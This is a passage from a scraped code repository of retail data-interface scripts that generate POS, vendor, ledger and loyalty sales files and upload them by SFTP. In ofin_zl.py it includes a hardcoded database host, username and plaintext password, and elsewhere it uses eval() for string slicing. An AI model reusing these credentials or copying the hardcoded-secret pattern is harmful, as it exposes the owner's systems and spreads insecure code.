'{}/BICDS_10138_Discount_{}'.format(path, today) in s]\n notify('[AutoPOS] - BI-CDS-Discount successfully') if len(payment) == 2 else notify('[AutoPOS] - BI-CDS-Discount not found !!')\n\n path = '/oradata/Informatica_Source_File/POS_Payment'\n files = ftp.nlst(path)\n payment = [s for s in files if '{}/BIMS_17016_Payment_{}'.format(path, today) in s]\n notify('[AutoPOS] - BI-MSL-Payment successfully') if len(payment) == 2 else notify('[AutoPOS] - BI-MSL-Payment not found !!')\n\n path = '/oradata/Informatica_Source_File/POS_Promotion'\n files = ftp.nlst(path)\n payment = [s for s in files if '{}/BIMS_17016_Promotion_{}'.format(path, today) in s]\n notify('[AutoPOS] - BI-MSL-Promotion successfully') if len(payment) == 2 else notify('[AutoPOS] - BI-MSL-Promotion not found !!')\n\n path = '/oradata/Informatica_Source_File/POS_Discount'\n files = ftp.nlst(path)\n payment = [s for s in files if '{}/BIMS_17016_Discount_{}'.format(path, today) in s]\n notify('[AutoPOS] - BI-MSL-Discount successfully') if len(payment) == 2 else notify('[AutoPOS] - BI-MSL-Discount not found !!')\n except Exception as e:\n traceback.print_tb(e.__traceback__)\n notify('[AutoPOS] - FTP Checker error: {}'.format(e))\n finally:\n ftp.quit()\n\n\nif __name__ == '__main__':\n cds()" }, { "alpha_fraction": 0.7849462628364563, "alphanum_fraction": 0.7849462628364563, "avg_line_length": 22.25, "blob_id": "7bab44d1b66c0dc997fed582e22f96e75bb9af75", "content_id": "fda90ac70109033d5722109e87bed0dc00f970e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 93, "license_type": "no_license", "max_line_length": 32, "num_lines": 4, "path": "/scripts/autopos-bi-checker.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#! /bin/bash\ncd /opt/dailyinterface\nsource env/bin/activate\npython src/autopos_bi_checker.py\n" }, { "alpha_fraction": 0.5914149284362793, "alphanum_fraction": 0.6057233810424805, "avg_line_length": 26.34782600402832, "blob_id": "15baf4c02d96de0032f225d1db9439c1019b58f6", "content_id": "e7a9cccc87ff770cfe1f44fc5616c3760e1bd248", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 629, "license_type": "no_license", "max_line_length": 88, "num_lines": 23, "path": "/src/autopos_jda_57002.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from autopos_jda_common import process\nfrom common import config\nfrom datetime import datetime, timedelta\nimport os, sys, traceback\n\n\ndef main():\n try:\n store = '57002'\n bu = 'b2s'\n env = sys.argv[1] if len(sys.argv) > 1 else 'local'\n print(\"\\n===== Start JDA-{} [{}] =====\".format(store, env))\n cfg = config(env)\n run_date = cfg['run_date'] if cfg['run_date'] else datetime.now().strftime('%Y%m%d')\n process(env, bu, store, cfg, run_date)\n except Exception as e:\n print('[AutoPOS] - JDA Error: %s' % str(e))\n traceback.print_tb(e.__traceback__)\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5262143015861511, "alphanum_fraction": 0.5800455808639526, "avg_line_length": 42.53435134887695, "blob_id": "794b24c1e96a07c0202feb0bac1b1ceda556f177", "content_id": "0fcdda7402f53d51d5401038673c9629b8c4008e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5703, "license_type": "no_license", "max_line_length": 149, "num_lines": 131, "path": "/src/autopos_vendor.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import config, connect_psql, get_file_seq, query_all, sftp\nfrom datetime import datetime, timedelta\nimport os, sys, traceback\n\n\ndef prepare_data(data):\n result = []\n for d in data:\n temp = []\n temp.append('{:1}'.format(d['status'][:1]))\n temp.append('{:6}'.format(d['delete_date'][:6]))\n temp.append(\"{:6}\".format(d['vendor_id'][:6]))\n temp.append(\"{:60}\".format(d['vendor_name'][:60]))\n temp.append(\"{:1}\".format(d['vendor_type'][:1]))\n temp.append(\"{:13}\".format(d['tax_payer_id'][:13]))\n temp.append(\"{:4}\".format(d['term_of_payment'][:4]))\n temp.append(\"{:1}\".format(d['payment_type'][:1]))\n temp.append(\"{:5}\".format(d['tax_rate'][:5]))\n temp.append(\"{:1}\".format(d['withholding_tax'][:1]))\n temp.append(\"{:60}\".format(d['address_line1'][:60]))\n temp.append(\"{:60}\".format(d['address_line2'][:60]))\n temp.append(\"{:60}\".format(d['address_line3'][:60]))\n temp.append(\"{:25}\".format(''))\n temp.append(\"{:4}\".format(''))\n temp.append(\"{:10}\".format(d['zip_code'][:10]))\n temp.append(\"{:3}\".format(d['country_code'][:3]))\n temp.append(\"{:25}\".format(d['country'][:25]))\n temp.append(\"{:15}\".format(d['phone'][:15]))\n temp.append(\"{:15}\".format(d['fax'][:15]))\n temp.append(\"{:15}\".format(d['telex'][:15]))\n temp.append(\"{:15}\".format(d['first_name'][:15]))\n temp.append(\"{:20}\".format(d['last_name'][:20]))\n temp.append(\"{:1}\".format(d['is_oversea'][:1]))\n temp.append(\"{:3}\".format(d['bank_number'][:3]))\n temp.append(\"{:30}\".format(d['bank_account_number'][:30]))\n temp.append(\"{:65}\".format(d['bank_account_name'][:65]))\n temp.append(\"{:50}\".format(d['email'][:50]))\n temp.append(\"{:20}\".format(d['remittance_fax'][:20]))\n temp.append(\"{:2}\".format(d['cycle_payment'][:2]))\n temp.append(\"{:3}\".format(d['currency'][:3]))\n temp.append(\"{:10}\".format(d['tax_branch_no'][:10]))\n temp.append(\"{:30}\".format(d['edi_no'][:30]))\n\n result.append(\"\".join(temp))\n\n return result\n\n\ndef generate_data_file(output_path, str_date, str_time, data):\n prefix = 'S' + str_date\n seq = get_file_seq(prefix, output_path, '.DAT')\n dat_file = prefix + str(seq) + '.DAT'\n dat_file_path = os.path.join(output_path, dat_file)\n val_file = prefix + str(seq) + '.VAL'\n val_file_path = os.path.join(output_path, val_file)\n\n with open(\n dat_file_path, 'w', encoding='TIS-620') as dat, open(\n val_file_path, 'w', encoding='TIS-620') as val:\n result = prepare_data(data)\n dat.write(\"\\n\".join(result))\n val.write('{:3}{:12}{:9}{:6}{:6}{:15}{:15}{:15}{:15}'.format(\n 'HDR', dat_file, len(result), str_date, str_time, '0', '0', '0', '0'))\n print('[AutoPOS] - Vendor .DAT & .VAL Completed..')\n return [dat_file, val_file]\n\n\ndef genrate_report(file_with_path):\n with open(file_with_path, 'r') as f:\n for line in f.read().splitlines():\n print('Status: {}.'.format(line[0:1]))\n print('Delete Date: {}.'.format(line[1:7]))\n print(\"ID: {}.\".format(line[7:13]))\n print(\"Name: {}.\".format(line[13:73]))\n print(\"Type: {}.\".format(line[73:74]))\n print(\"Tax Payer: {}.\".format(line[74:87]))\n print(\"Term: {}.\".format(line[87:91]))\n print(\"Payment: {}.\".format(line[91:92]))\n print(\"Tax Rate: {}.\".format(line[92:97]))\n print(\"Withholding: {}.\".format(line[97:98]))\n print(\"Line1: {}.\".format(line[98:158]))\n print(\"Line2: {}.\".format(line[158:218]))\n print(\"Line3: {}.\".format(line[218:278]))\n print(\"City: {}.\".format(line[278:303]))\n print(\"State: {}.\".format(line[303:307]))\n print(\"Zip: {}.\".format(line[307:317]))\n print(\"Country Code: {}.\".format(line[317:320]))\n print(\"Country: {}.\".format(line[320:345]))\n print(\"Phone: {}.\".format(line[345:360]))\n print(\"Fax: {}.\".format(line[360:375]))\n print(\"Telex: {}.\".format(line[375:390]))\n print(\"First Name: {}.\".format(line[390:405]))\n print(\"Last Name: {}.\".format(line[405:425]))\n print(\"Oversea: {}.\".format(line[425:426]))\n print(\"Bank: {}.\".format(line[426:429]))\n print(\"Account Number: {}.\".format(line[429:459]))\n print(\"Account Name: {}.\".format(line[459:524]))\n print(\"Email: {}\".format(line[524:574]))\n print(\"Remittance: {}.\".format(line[574:594]))\n print(\"Cycle Payment: {}.\".format(line[594:596]))\n print(\"Currency: {}.\".format(line[596:599]))\n print(\"Tax Branch: {}.\".format(line[599:609]))\n print(\"EDI: {}.\".format(line[609:639]))\n\n\ndef main():\n env = sys.argv[1] if len(sys.argv) > 1 else 'local'\n print(\"\\n===== Start OFIN VENDOR [{}] =====\".format(env))\n cfg = config(env)\n batch_date = datetime.strptime(cfg['run_date'], '%Y%m%d') if cfg['run_date'] else datetime.now() - timedelta(days=1)\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_path = os.path.join(parent_path, 'output/autopos/{}/ofin/vendor'.format(env), batch_date.strftime('%Y%m%d'))\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n\n try:\n sql = \"select case when status = 'D' then to_char(updated_on, 'DDMMYY') else '' end as delete_date, * from vendor where created_on <> updated_on\"\n data = query_all(cfg['fms'], sql)\n files = generate_data_file(target_path, batch_date.strftime('%y%m%d'), batch_date.strftime('%H%M%S'), data)\n if cfg['ftp']['is_enable']:\n destination = 'incoming/ofin/vendor'\n sftp(cfg['ftp']['host'], cfg['ftp']['user'], target_path, destination, files) \n except Exception as e:\n print('[AutoPOS] - Vendor Error: %s' % str(e))\n traceback.print_tb(e.__traceback__)\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.26760563254356384, "alphanum_fraction": 0.3802816867828369, "avg_line_length": 9.142857551574707, "blob_id": "4940496da5f791a2e18d5efe1567b70bab757f91", "content_id": "c32ada068fc33c4f1cd0df2100515ae5d4fee344", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 71, "license_type": "no_license", "max_line_length": 13, "num_lines": 7, "path": "/src/test.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "a = [1, 2, 3]\nb = [4, 5, 6]\n\na = a + b[:2]\nb = b[2:]\nprint(a)\nprint(b)\n" }, { "alpha_fraction": 0.6629629731178284, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 27.421052932739258, "blob_id": "1605bb2ed314e8d174a73c9f362529eafd26e95a", "content_id": "8b700ab2476744ff8e654324b51d9aee92428933", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 540, "license_type": "no_license", "max_line_length": 78, "num_lines": 19, "path": "/src/ofin_l_integration_test.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import unittest\nimport GoodsReceivingRTV_MERLine as gr\n\n\nclass GoodsReceivingRTVMERLineIntegrationTest(unittest.TestCase):\n def test_checkrule_goodsreceiving_rtv_mer_line(self):\n dt_merl = gr.checkrule_goodsreceiving_rtv_mer_line()\n self.assertTrue(len(dt_merl) > 0)\n\n merl = dt_merl[0]\n for k in [\n 'Source', 'Invoice_num', 'Invoice_type', 'Vendor_number', 'Line_type',\n 'Item_description', 'Amount', 'Item_qty', 'Item_cost'\n ]:\n self.assertTrue(k in merl)\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.707317054271698, "alphanum_fraction": 0.7247386574745178, "avg_line_length": 30.77777862548828, "blob_id": "1363a8c20e8f7912bc09c5c6334a3b3e23a9a7c1", "content_id": "a08152e4db912de5b8d4242fed15d0894ba800b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 287, "license_type": "no_license", "max_line_length": 61, "num_lines": 9, "path": "/scripts/autopos-ofin.sh", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#!/bin/bash\ncd /opt/dailyinterface\nsource env/bin/activate\necho \"===== Starting generate text AutoPOS OFIN with env: $1\"\npython src/autopos_ofin_gl_zn.py $1\npython src/autopos_ofin_gl_zy.py $1\npython src/autopos_ofin_ap_head.py $1\npython src/autopos_ofin_ap_line.py $1\necho \"===== END\"\n\n" }, { "alpha_fraction": 0.4993606209754944, "alphanum_fraction": 0.5447570085525513, "avg_line_length": 29.038461685180664, "blob_id": "7790af06debd5b46ce099e93d3915fea5d103a3e", "content_id": "5993c3216cf0f0b5d1f6d5abea49e2dd7098e36a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1564, "license_type": "no_license", "max_line_length": 109, "num_lines": 52, "path": "/src/data_checker.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport csv\nimport argparse\nimport datetime\n\ntext_format = {\n 'ofin': {\n 'Segment 4 - Store':'1-6',\n 'Segment 5 - CPC':'7-11',\n 'Segment 6 - Account':'12-19',\n 'Segment 7 - SubAccount':'20-25',\n 'Accounting_Date':'26-34',\n 'Debit':'35-46',\n 'Credit':'47-58',\n 'Short name':'59-62',\n 'Journal Category Name * FAST':'63-87',\n 'Journal Source Name *FAST':'88-112',\n 'Reference1 (Batch Name)':'113-138',\n 'Seq':'139-139',\n 'CFS Flag *FAST':'140-149',\n 'Description':'150-390',\n }\n}\n\n\ndef split_text(text, spec):\n spec = spec.split('-')\n return eval('text[%s:%s]' % (spec[0], int(spec[1])+1))\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-s', '--source')\n parser.add_argument('-f', '--format')\n args = parser.parse_args()\n\n input_params = {\n 'source': args.source,\n 'format': args.format,\n }\n\n output_file_name = '%s - %s.csv' % (input_params['format'], datetime.datetime.now().strftime(\"%Y-%m-%d\"))\n\n with open(output_file_name, 'w') as output_file:\n fieldnames = text_format[input_params['format']].keys()\n writer = csv.DictWriter(output_file, fieldnames=fieldnames)\n writer.writeheader()\n file = open(input_params['source'], 'r')\n for row in file:\n row = ' ' + row\n row_data = {k:split_text(row, v) for (k,v) in text_format[input_params['format']].items()}\n writer.writerow(row_data)\n\n\n" }, { "alpha_fraction": 0.6025184988975525, "alphanum_fraction": 0.6194908022880554, "avg_line_length": 29.190082550048828, "blob_id": "8a78883d718c073d8995e4f823651c4d3949f33f", "content_id": "cd27d22df741b9ba069bea5953b7bc69b9b1e00f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3653, "license_type": "no_license", "max_line_length": 79, "num_lines": 121, "path": "/src/ofin_zl.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import os\nimport pymssql\nfrom datetime import datetime, timedelta\n\n_date = datetime.strptime('2017-11-19', '%Y-%m-%d')\n\n\ndef connect_db():\n return pymssql.connect('10.17.221.173', 'coreii', 'co@2ii!', 'DBMKP')\n\n\ndef check_debit_equal_to_credit(dtZL):\n sum_debit = sum(row['Debit'] for row in dtZL)\n sum_credit = sum(row['Credit'] for row in dtZL)\n\n if sum_debit > sum_credit:\n print('SaleAndSaleReturn_ZL : Debit > Credit : %.2f' %\n (sum_debit - sum_credit))\n return False\n elif sum_debit < sum_credit:\n print('SaleAndSaleReturn_ZL : Debit < Credit : %.2f' %\n (sum_credit - sum_debit))\n return False\n return True\n\n\ndef check_all_records_has_CPCID(dtZL):\n if any(not row['CPCID'] for row in dtZL):\n print('CPCID is null')\n return False\n return True\n\n\ndef validate_dtZL(dtZL):\n return check_debit_equal_to_credit(dtZL) & check_all_records_has_CPCID(dtZL)\n\n\ndef get_next_seq(files, prefix_filename, prefix_length):\n if not files:\n return 1\n else:\n try:\n seq = max(\n int(filename[prefix_length:prefix_length + 1])\n if filename.startswith(prefix_filename) else 0 for filename in files)\n return seq + 1\n except Exception as e:\n print('GenSeqNumber Error %s' % str(e))\n\n\ndef generate_data(date):\n with connect_db() as conn:\n with conn.cursor(as_dict=True) as cursor:\n cursor.callproc('SPC_GenARTRNDTL_3PL')\n cursor.callproc('spc_OFIN_SaleAndSaleReturn', (date, ))\n data = [row for row in cursor]\n\n cursor.execute('SELECT * FROM TBOFINSaleAndSaleReturnUFMT_Temp')\n dtZL = [row for row in cursor]\n\n return data, dtZL\n\n\ndef generate_report(output_path, date, data):\n date = date.strftime('%y%m%d')\n prefix_filename_ZL = 'ZL' + date\n seq = get_next_seq(\n [filename.split('.')[0] for filename in os.listdir(output_path)],\n prefix_filename_ZL, 8)\n ZL_name_dat = prefix_filename_ZL + str(seq) + '.DAT'\n ZL_name_dat_file_path = os.path.join(output_path, ZL_name_dat)\n ZL_name_val = prefix_filename_ZL + str(seq) + '.VAL'\n ZL_name_val_file_path = os.path.join(output_path, ZL_name_val)\n\n with open(ZL_name_dat_file_path, 'w') as dat_writer, open(\n ZL_name_val_file_path, 'w') as val_writer:\n try:\n line_count = 0\n for line in data:\n if line_count > 0:\n dat_writer.write('\\n')\n dat_writer.write(\n '%-6s%-5s%-8s%-6s%-6s%012.2f%012.2f%-20s%-20s%-20s%-10s%-240s' %\n (line['Store'], line['CPCID'], line['AccountCode'],\n line['SubAccount'], line['AccountDate'].strftime('%d%m%y'),\n line['Debit'], line['Credit'], line['JournalSourceName'],\n line['JournalCategoryName'], line['BatchName'], line['CFSFlag'],\n line['Description']))\n line_count = line_count + 1\n\n val_writer.write('%-14s%-10s' % (ZL_name_dat,\n '{:0>10}'.format(str(line_count))))\n print('Create Files ZL .DAT & .VAL Complete..')\n except Exception as e:\n print('Create Files ZL .DAT & .VAL Error .. : ')\n print(str(e))\n\n\ndef get_report_path(date):\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_dir = 'D' + date.strftime('%Y-%m-%d')\n target_path = os.path.join(parent_path, 'output', target_dir)\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n return target_path\n\n\ndef main():\n date = _date\n data, dtZL = generate_data(date)\n\n if not validate_dtZL(dtZL):\n return\n\n target_path = get_report_path(date)\n generate_report(target_path, date, data)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.548028290271759, "alphanum_fraction": 0.5650825500488281, "avg_line_length": 36.180450439453125, "blob_id": "c2b2e1a6311e546370ea1d34c5624712abc5ea01", "content_id": "1cab8b2b06101e7b11aaffc0d7ff8308a8f676ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14835, "license_type": "no_license", "max_line_length": 131, "num_lines": 399, "path": "/src/sbl_cgo_nrtsale.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import connect_cmos, mssql_cmos, sftp, cleardir\nfrom datetime import datetime, timedelta\nimport sys\nimport csv\nimport os\nimport uuid\n\norder_ids = []\n\n\ndef generate_text_t1c():\n sale_transactions = gen_tender(get_sale_tran())\n total_row = len(sale_transactions)\n\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_dir = 'siebel/nrtsale'\n target_path = os.path.join(parent_path, 'output', target_dir)\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n cleardir(target_path)\n\n interface_name = 'BCH_CGO_T1C_NRTSales'\n now = datetime.now()\n batchdatetime = now.strftime('%d%m%Y_%H:%M:%S:%f')[:-3]\n filedatetime = now.strftime('%d%m%Y_%H%M%S')\n datfile = \"{}_{}.dat.{:0>4}\".format(interface_name, filedatetime, 1)\n filepath = os.path.join(target_path, datfile)\n with open(filepath, 'w') as text_file:\n text_file.write('0|{}\\n'.format(total_row))\n for transaction in sale_transactions:\n text_file.write('{}\\n'.format(transaction))\n text_file.write('9|END')\n\n ctrlfile = '{}_{}.ctrl'.format(interface_name, filedatetime)\n filepath = os.path.join(target_path, ctrlfile)\n attribute1 = \"\"\n attribute2 = \"\"\n with open(filepath, 'w') as outfile:\n outfile.write('{}|CGO|001|1|{}|{}|CGO|{}|{}'.format(\n interface_name, total_row, batchdatetime, attribute1, attribute2))\n\n destination = 'incoming/nrtsale'\n sftp('cgo-prod', target_path, destination)\n\n\ndef get_sale_tran():\n with connect_cmos() as conn:\n with conn.cursor(as_dict=True) as cursor:\n query = \"\"\"\n SELECT result.* FROM (\n SELECT\n Head.Suborderid as id,\n Head.OrderId as ParentID,\n Case\n WHEN S.ShopID in ('254', '255') Then '99101'\n WHEN S.ShopID = '256' Then '99570'\n ELSE S.AccountCode\n END as StoreNo,\n S.StroeCode as POSNo,\n Head.ShopID,\n Head.InvNo,\n format(Head.InvDate, 'ddMMyyyy', 'en-us') as InvDate,\n format(Head.PaymentDate, 'ddMMyyyy', 'en-us') as BusinessDate,\n format(Head.DeliveryDate, 'ddMMyyyy', 'en-us') as DeliveryDate,\n '01' AS TransType,\n format(Head.suborderdate, 'ddMMyyyy_HH:mm:ss:fff', 'en-us') as TransDate,\n Detail.PID,\n Detail.Quantity,\n Detail.UnitPrice ,\n CONVERT(DECIMAL(10,3),Detail.TotalAmt/Detail.Quantity) AS UnitSalesPrice,\n Detail.SeqNo,\n CASE\n WHEN Detail.IsVat = 1 THEN CONVERT(DECIMAL(10,3),(Detail.UnitPrice - Detail.UnitPrice / 1.07))\n ELSE Detail.UnitPrice\n END as VatAmt ,\n (Detail.UnitPrice * Detail.Quantity) - (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS NetAmt,\n (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS TransactionDiscountAmount ,\n CASE WHEN Head.SubOrderId like 'MO%'\n THEN\n ISNULL(rbsprod.Upc, '')\n ELSE\n isnull(nullif(LTRIM(RTRIM(cdsmap.sbc)),''), cdsmap.ibc)\n END AS ProdBarcode,\n Head.T1CNoEarn as T1CRefNo,\n Head.ShipMobileNo as Mobile,\n oh.CreditCardNo as PaymentRefNo,\n Head.OrderId as DisplayReceipt,\n Case\n WHEN Head.TenderType = 'T1PM' THEN Head.TenderType\n ELSE Head.PaymentType\n END as TenderType,\n Head.NetAmt as OrderNetAmt,\n Head.VatAmt as OrderVatAmt,\n CASE\n WHEN oh.GrandTotalAmt = 0\n THEN 0\n ELSE isnull(CONVERT(DECIMAL(10,3),Head.RedeemAmt * Head.GrandTotalAmt / oh.GrandTotalAmt),0)\n END as RedeemAmt,\n CASE\n WHEN oh.GrandTotalAmt = 0\n THEN 0\n ELSE isnull(CONVERT(DECIMAL(10,3),Head.RedeemCash * Head.GrandTotalAmt / oh.GrandTotalAmt),0)\n END as RedeemCash\n FROM TBSubOrderHead Head\n INNER JOIN TBShopMaster S on S.ShopID = Head.ShopID\n INNER JOIN TBSubOrderDetail Detail ON Head.Suborderid = Detail.Suborderid\n LEFT JOIN [10.17.220.55].DBCDSContent.dbo.tbproductmapping cdsmap on cdsmap.pidnew = Detail.PID\n LEFT JOIN [mssql.production.thecentral.com].DBMKPOnline.dbo.Product rbsprod on rbsprod.pid = Detail.PID\n INNER JOIN TBOrderHead oh on Head.OrderId = oh.OrderId\n WHERE 1 = 1\n AND Head.IsGenT1c = 'No'\n AND cast(head.InvDate as date) = cast(getdate() - 2 as date)\n AND Head.InvNo != ''\n UNION ALL\n\n SELECT\n Head.Suborderid as id,\n Head.OrderId as ParentID,\n Case\n WHEN S.ShopID in ('254', '255') Then '99101'\n WHEN S.ShopID = '256' Then '99570'\n ELSE S.AccountCode\n END as StoreNo,\n S.StroeCode as POSNo,\n '' as ShopID,\n Head.InvNo,\n format(Head.InvDate, 'ddMMyyyy', 'en-us') as InvDate,\n format(Head.PaymentDate, 'ddMMyyyy', 'en-us') as BusinessDate,\n format(Head.DeliveryDate, 'ddMMyyyy', 'en-us') as DeliveryDate,\n '01' AS TransType,\n format(Head.suborderdate, 'ddMMyyyy_HH:mm:ss:fff', 'en-us') as TransDate,\n '' as PID,\n 1 as Quantity,\n 0 as UnitPrice ,\n 0 as UnitSalesPrice,\n 1 as SeqNo,\n 0 as VatAmt ,\n 0 as NetAmt,\n 0 as TransactionDiscountAmount ,\n '' as ProdBarcode,\n Head.T1CNoEarn as T1CRefNo,\n Head.ShipMobileNo as Mobile,\n dis.PromotionNo as PaymentRefNo,\n Head.OrderId as DisplayReceipt,\n 'Coupon' as TenderType,\n 0 as OrderNetAmt,\n 0 as OrderVatAmt,\n 0 as RedeemAmt,\n 0 as RedeemCash\n FROM TBSubOrderHead head\n JOIN TBSubOrderDetail d ON head.SubOrderId= d.SubOrderId\n INNER JOIN TBShopMaster S on S.ShopID = Head.ShopID\n JOIN TBOrderDiscount dis ON head.OrderId = dis.OrderId AND d.PID = dis.PId\n WHERE 1 = 1\n AND Head.IsGenT1c = 'No'\n AND cast(head.InvDate as date) = cast(getdate() - 2 as date)\n AND Head.InvNo != ''\n ) result\n UNION ALL\n\n SELECT\n Head.SubSRNo as id,\n Head.SRNo as ParentID,\n Case\n WHEN S.ShopID in ('254', '255') Then '99101'\n WHEN S.ShopID = '256' Then '99570'\n ELSE S.AccountCode\n END as StoreNo,\n S.StroeCode as POSNo,\n Head.ShopID,\n Head.CnNo AS InvNo,\n format(Head.CnDate, 'ddMMyyyy', 'en-us') AS InvDate,\n format(Head.CnDate, 'ddMMyyyy', 'en-us') AS BusinessDate,\n format(Head.CnDate, 'ddMMyyyy', 'en-us') AS DeliveryDate,\n '07' AS TransType,\n format(Head.subsrdate, 'ddMMyyyy_HH:mm:ss:fff', 'en-us') as TransDate,\n Detail.PID,\n Detail.Quantity,\n Detail.UnitPrice ,\n Detail.UnitPrice - CONVERT(DECIMAL(10,3),(Detail.ItemDiscAmt + Detail.OrdDiscAmt)/Detail.Quantity) AS UnitSalesPrice,\n Detail.SeqNo,\n CASE\n WHEN Detail.IsVat = 1 THEN CONVERT(DECIMAL(10,3),(Detail.UnitPrice - Detail.UnitPrice / 1.07))\n ELSE Detail.UnitPrice\n END as VatAmt ,\n (Detail.UnitPrice * Detail.Quantity) - (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS NetAmt,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n CASE WHEN Head.SubOrderId like 'MO%'\n THEN\n ISNULL(rbsprod.Upc, '')\n ELSE\n isnull(nullif(LTRIM(RTRIM(cdsmap.sbc)),''), cdsmap.ibc)\n END AS ProdBarcode,\n Head.T1CNoEarn as T1CRefNo,\n Head.ShipMobileNo as Mobile,\n oh.CreditCardNo as PaymentRefNo,\n Head.SRNo as DisplayReceipt,\n Case\n WHEN oh.TenderType = 'T1PM' THEN oh.TenderType\n ELSE Head.PaymentType\n END as TenderType,\n Head.NetAmt as OrderNetAmt,\n Head.VatAmt as OrderVatAmt,\n case\n WHEN oh.GrandTotalAmt = 0\n THEN 0\n ELSE isnull(CONVERT(DECIMAL(10,3),Head.RedeemAmt * Detail.TotalAmt / oh.GrandTotalAmt),0)\n END as RedeemAmt,\n case\n WHEN oh.GrandTotalAmt = 0\n THEN 0\n ELSE isnull(CONVERT(DECIMAL(10,3),Head.RedeemCash * Detail.TotalAmt / oh.GrandTotalAmt),0)\n END as RedeemCash\n FROM TBSubSaleReturnHead Head\n INNER JOIN TBShopMaster S on S.ShopID = Head.ShopID\n INNER JOIN TBSubSaleReturnDetail Detail ON Head.SubSRNo = Detail.SubSRNo\n LEFT JOIN [10.17.220.55].DBCDSContent.dbo.tbproductmapping cdsmap on cdsmap.pidnew = Detail.PID\n LEFT JOIN [mssql.production.thecentral.com].DBMKPOnline.dbo.Product rbsprod on rbsprod.pid = Detail.PID\n INNER JOIN TBOrderHead oh on Head.OrderId = oh.OrderId\n WHERE 1 = 1\n AND Head.IsGenT1c = 'No'\n AND cast(head.CnDate as date) = cast(getdate() - 2 as date)\n AND Head.SubSaleReturnType IN ('CN', 'Exchange')\n AND Head.Status = 'Completed'\n AND Head.CnNo != ''\n Order By ParentID\n \"\"\"\n cursor.execute(query)\n return [gen_sale_tran_data(data) for data in cursor]\n\n\ndef gen_sale_tran_data(data):\n global order_ids\n order_ids.append(data['id'])\n order_id = data['ParentID']\n source_trans_id = ''\n store_number = data['StoreNo']\n pos_number = data['POSNo']\n receipt_number = data['InvNo']\n trans_type = data['TransType']\n trans_date = data['TransDate']\n business_date = data['BusinessDate']\n inv_date = data['InvDate']\n delivery_date = data['DeliveryDate']\n earn_online_flag = 'N'\n t1c_card_no = data['T1CRefNo']\n mobile_no = data['Mobile']\n user_id = 'POS'\n redeem_amt = str(data['RedeemAmt'])\n\n product_code = str(data['PID'])\n product_barcode = str(data['ProdBarcode'])\n quantity = str(data['Quantity'])\n price_unit = str(data['UnitPrice'])\n price_total = str(data['Quantity'] * data['UnitPrice'])\n net_price_unit = str(data['UnitSalesPrice'])\n net_price_total = str(data['NetAmt'])\n discount_total = str(data['TransactionDiscountAmount'])\n vat_amount = str(data['VatAmt'])\n\n order_tender_type = str(data['TenderType'])\n if order_tender_type != \"Coupon\":\n trans_sub_type = 'P'\n else:\n trans_sub_type = 'C'\n order_tender_type = ''\n tender_type = '' if trans_sub_type == 'P' or trans_sub_type == 'C' else 'T1PM' if redeem_amt != '0.000' else 'CASH'\n tender_ref_no = str(data['PaymentRefNo'])\n original_receipt_no = ''\n original_item_seq_no = ''\n display_receipt_no = data['DisplayReceipt']\n return_all_flag = ''\n sbl_cancel_redeem = ''\n\n order_net_amt = data['OrderNetAmt']\n order_redeem_amt = data['RedeemAmt']\n order_redeem_cash = data['RedeemCash']\n\n res = []\n res.append('1')\n res.append(source_trans_id)\n res.append(store_number)\n res.append(pos_number)\n res.append(data['id'])\n res.append(trans_type)\n res.append(trans_sub_type)\n res.append(trans_date)\n res.append(business_date)\n res.append(inv_date)\n res.append(delivery_date)\n res.append(earn_online_flag)\n res.append(t1c_card_no)\n res.append(mobile_no)\n res.append(user_id)\n res.append(\"1\")\n res.append(product_code)\n res.append(product_barcode)\n res.append(quantity)\n res.append(price_unit)\n res.append(price_total)\n res.append(net_price_unit)\n res.append(net_price_total)\n res.append(discount_total)\n res.append(vat_amount)\n res.append(tender_type)\n res.append(tender_ref_no)\n res.append(original_receipt_no)\n res.append(original_item_seq_no)\n res.append(display_receipt_no)\n res.append(return_all_flag)\n res.append(sbl_cancel_redeem)\n res.append(order_tender_type)\n res.append(order_net_amt)\n res.append(order_redeem_amt)\n 